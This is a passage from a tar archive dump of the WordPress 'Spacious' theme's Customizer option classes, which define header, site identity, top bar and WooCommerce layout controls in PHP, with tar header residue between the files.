'one' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/header-left.png', ), 'four' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/menu-bottom.png', ), ), 'image_col' => 2, 'priority' => 10, ), ); $options = array_merge( $options, $configs ); return $options; } } return new Spacious_Customize_Primary_Header_Options(); options/header/class-spacious-customize-site-identity-options.php000066600000007146152367043330021455 0ustar00<?php /** * Class to include Header Main Area customize options. * * Class Spacious_Customize_Site_Identity_Options * * @package ThemeGrill * @subpackage Spacious * @since Spacious 1.9.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to include Header Main Area customize options. * * Class Spacious_Customize_Site_Identity_Options */ class Spacious_Customize_Site_Identity_Options extends Spacious_Customize_Base_Option { /** * Include customize options. * * @param array $options Customize options provided via the theme. * @param \WP_Customize_Manager $wp_customize Theme Customizer object. * * @return mixed|void Customizer options for registering panels, sections as well as controls. */ public function register_options( $options, $wp_customize ) { $configs = array( array( 'name' => 'logo_text_visibility_heading', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Visibility', 'spacious' ), 'section' => 'title_tagline', 'priority' => 0, ), // Header logo placement option. array( 'name' => 'spacious_show_header_logo_text', 'default' => 'text_only', 'type' => 'control', 'control' => 'radio', 'label' => esc_html__( 'Choose the option that you want.', 'spacious' ), 'section' => 'title_tagline', 'choices' => array( 'logo_only' => esc_html__( 'Header Logo Only', 'spacious' ), 'text_only' => esc_html__( 'Header Text Only', 'spacious' ), 'both' => esc_html__( 'Show Both', 'spacious' ), 'none' => esc_html__( 'Disable', 'spacious' ), ), 'priority' => 1, ), array( 'name' => 'site_logo_heading', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Site Logo', 'spacious' ), 'section' => 'title_tagline', 'priority' => 5, ), array( 'name' => 'spacious_different_retina_logo', 'type' => 'control', 'control' => 'checkbox', 'default' => 0, 'label' => esc_html__( 'Different Logo for Retina Devices?', 'spacious' ), 'section' => 'title_tagline', 'priority' => 6, ), array( 'name' => 'spacious_retina_logo_upload', 'type' => 'control', 'control' => 'image', 'label' => esc_html__( 'Retina Logo', 'spacious' ), 'section' => 'title_tagline', 'priority' => 7, 'dependency' => array( 'spacious_different_retina_logo', '!=', 0, ), ), array( 'name' => 'site_icon_heading', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Site Icon', 'spacious' ), 'section' => 'title_tagline', 'priority' => 8, ), array( 'name' => 'site_title_heading', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Site Title', 'spacious' ), 'section' => 'title_tagline', 'priority' => 9, ), array( 'name' => 'site_tagline_heading', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Site Tagline', 'spacious' ), 'section' => 'title_tagline', 'priority' => 10, ), /** * Colors. */ array( 'name' => 'header_text_color_heading', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Colors', 'spacious' ), 'section' => 'title_tagline', 'priority' => 15, ), ); $options = array_merge( $options, $configs ); return $options; } } return new Spacious_Customize_Site_Identity_Options(); options/header/class-spacious-customize-header-top-bar-options.php000066600000005646152367043330021457 0ustar00<?php /** * Class to include Header Top Bar customize options. * * Class Spacious_Customize_Header_Top_Bar_Options * * @package ThemeGrill * @subpackage Spacious * @since Spacious 1.9.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to include Header Top Bar customize options. * * Class Spacious_Customize_Header_Top_Bar_Options */ class Spacious_Customize_Header_Top_Bar_Options extends Spacious_Customize_Base_Option { /** * Include customize options. * * @param array $options Customize options provided via the theme. * @param \WP_Customize_Manager $wp_customize Theme Customizer object. * * @return mixed|void Customizer options for registering panels, sections as well as controls. */ public function register_options( $options, $wp_customize ) { // Customize transport postMessage variable to set `postMessage` or `refresh` as required. $customizer_selective_refresh = isset( $wp_customize->selective_refresh ) ? 'postMessage' : 'refresh'; $configs = array( /** * Tob bar Activation. */ array( 'name' => 'header_top_bar_active_heading', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Activate Header Top Bar', 'spacious' ), 'section' => 'spacious_header_top_bar', 'priority' => 10, ), array( 'name' => 'spacious_activate_top_header_bar', 'default' => 0, 'type' => 'control', 'control' => 'checkbox', 'label' => esc_html__( 'Check to show top header bar. The top header bar includes social icons area, small text area and menu area.', 'spacious' ), 'section' => 'spacious_header_top_bar', 'priority' => 15, ), // Header Info text option. array( 'name' => 'header_info_text_heading', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Header Info Text', 'spacious' ), 'section' => 'spacious_header_top_bar', 'priority' => 20, 'dependency' => array( 'spacious_activate_top_header_bar', '!=', 0, ), ), array( 'name' => 'spacious_header_info_text', 'default' => '', 'type' => 'control', 'control' => 'textarea', 'label' => esc_html__( 'You can add phone numbers, other contact info here as you like. This box also accepts shortcodes.', 'spacious' ), 'section' => 'spacious_header_top_bar', 'transport' => $customizer_selective_refresh, 'partial' => array( 'selector' => '.small-info-text p', 'render_callback' => array( 'Spacious_Customizer_Partials', 'spacious_header_info_text', ), ), 'dependency' => array( 'spacious_activate_top_header_bar', '!=', 0, ), 'priority' => 25, ), ); $options = array_merge( $options, $configs ); return $options; } } return new Spacious_Customize_Header_Top_Bar_Options(); options/woocommerce/class-spacious-customize-woocommerce-design-options.php000066600000003271152367043330023532 0ustar00<?php /** * Class to include Design WooCommerce customize options. * * Class Spacious_Customize_WooCommerce_Design_Options * * @package ThemeGrill * @subpackage Spacious * @since Spacious 1.9.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Bail out if `WooCommerce` plugin is not installed and activated. */ if ( ! class_exists( 'WooCommerce' ) ) { return; } /** * Class to include Design WooCommerce customize options. * * Class Spacious_Customize_WooCommerce_Design_Options */ class Spacious_Customize_WooCommerce_Design_Options extends Spacious_Customize_Base_Option { /** * Include customize options. * * @param array $options Customize options provided via the theme. * @param \WP_Customize_Manager $wp_customize Theme Customizer object. * * @return mixed|void Customizer options for registering panels, sections as well as controls. */ public function register_options( $options, $wp_customize ) { $configs = array( array( 'name' => 'woocommerce_cart_icon_heading', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Cart Icon', 'spacious' ), 'section' => 'spacious_woocommerce_button_design', 'priority' => 10, ), array( 'name' => 'spacious_cart_icon', 'default' => 0, 'type' => 'control', 'control' => 'checkbox', 'label' => esc_html__( 'Check to show WooCommerce cart icon on menu bar', 'spacious' ), 'section' => 'spacious_woocommerce_button_design', 'priority' => 20, ), ); $options = array_merge( $options, $configs ); return $options; } } return new Spacious_Customize_WooCommerce_Design_Options(); options/woocommerce/class-spacious-customize-woocommerce-sidebar-options.php000066600000007452152367043330023677 0ustar00<?php /** * Class to include Design WooCommerce customize options. * * Class Spacious_Customize_WooCommerce_Sidebar_Options * * @package ThemeGrill * @subpackage Spacious * @since Spacious 1.9.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Bail out if `WooCommerce` plugin is not installed and activated. */ if ( ! class_exists( 'WooCommerce' ) ) { return; } /** * Class to include Design WooCommerce customize options. * * Class Spacious_Customize_WooCommerce_Sidebar_Options */ class Spacious_Customize_WooCommerce_Sidebar_Options extends Spacious_Customize_Base_Option { /** * Include customize options. * * @param array $options Customize options provided via the theme. * @param \WP_Customize_Manager $wp_customize Theme Customizer object. * * @return mixed|void Customizer options for registering panels, sections as well as controls. */ public function register_options( $options, $wp_customize ) { $configs = array( array( 'name' => 'woocommerce_sidebar_layout_heading', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Archive Page Layout', 'spacious' ), 'section' => 'spacious_woocommerce_page_layout_setting', 'priority' => 10, ), // WooCommerce shop page layout option. array( 'name' => 'spacious_woo_archive_layout', 'default' => 'no_sidebar_full_width', 'type' => 'control', 'control' => 'spacious-radio-image', 'label' => esc_html__( 'This layout will be reflected in woocommerce archive page only.', 'spacious' ), 'section' => 'spacious_woocommerce_page_layout_setting', 'choices' => array( 'right_sidebar' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/right-sidebar.png', ), 'left_sidebar' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/left-sidebar.png', ), 'no_sidebar_full_width' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/no-sidebar-full-width-layout.png', ), 'no_sidebar_content_centered' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/no-sidebar-content-centered-layout.png', ), ), 'image_col' => 3, 'priority' => 30, ), array( 'name' => 'woocommerce_product_sidebar_layout_heading', 'type' => 'control', 'control' => 'spacious-title', 'label' => esc_html__( 'Product Page Layout', 'spacious' ), 'section' => 'spacious_woocommerce_page_layout_setting', 'priority' => 40, ), // WooCommerce archive page layout option. array( 'name' => 'spacious_woo_product_layout', 'default' => 'right_sidebar', 'type' => 'control', 'control' => 'spacious-radio-image', 'label' => esc_html__( 'This layout will be reflected in woocommerce Product page.', 'spacious' ), 'section' => 'spacious_woocommerce_page_layout_setting', 'choices' => array( 'right_sidebar' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/right-sidebar.png', ), 'left_sidebar' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/left-sidebar.png', ), 'no_sidebar_full_width' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/no-sidebar-full-width-layout.png', ), 'no_sidebar_content_centered' => array( 'label' => '', 'url' => SPACIOUS_ADMIN_IMAGES_URL . '/no-sidebar-content-centered-layout.png', ), ), 'image_col' => 3, 'priority' => 50, ), ); $options = array_merge( $options, $configs ); return $options; } } return new Spacious_Customize_WooCommerce_Sidebar_Options();
/home/bechata/mp/hcl4k/../73eb7/./customizer.tar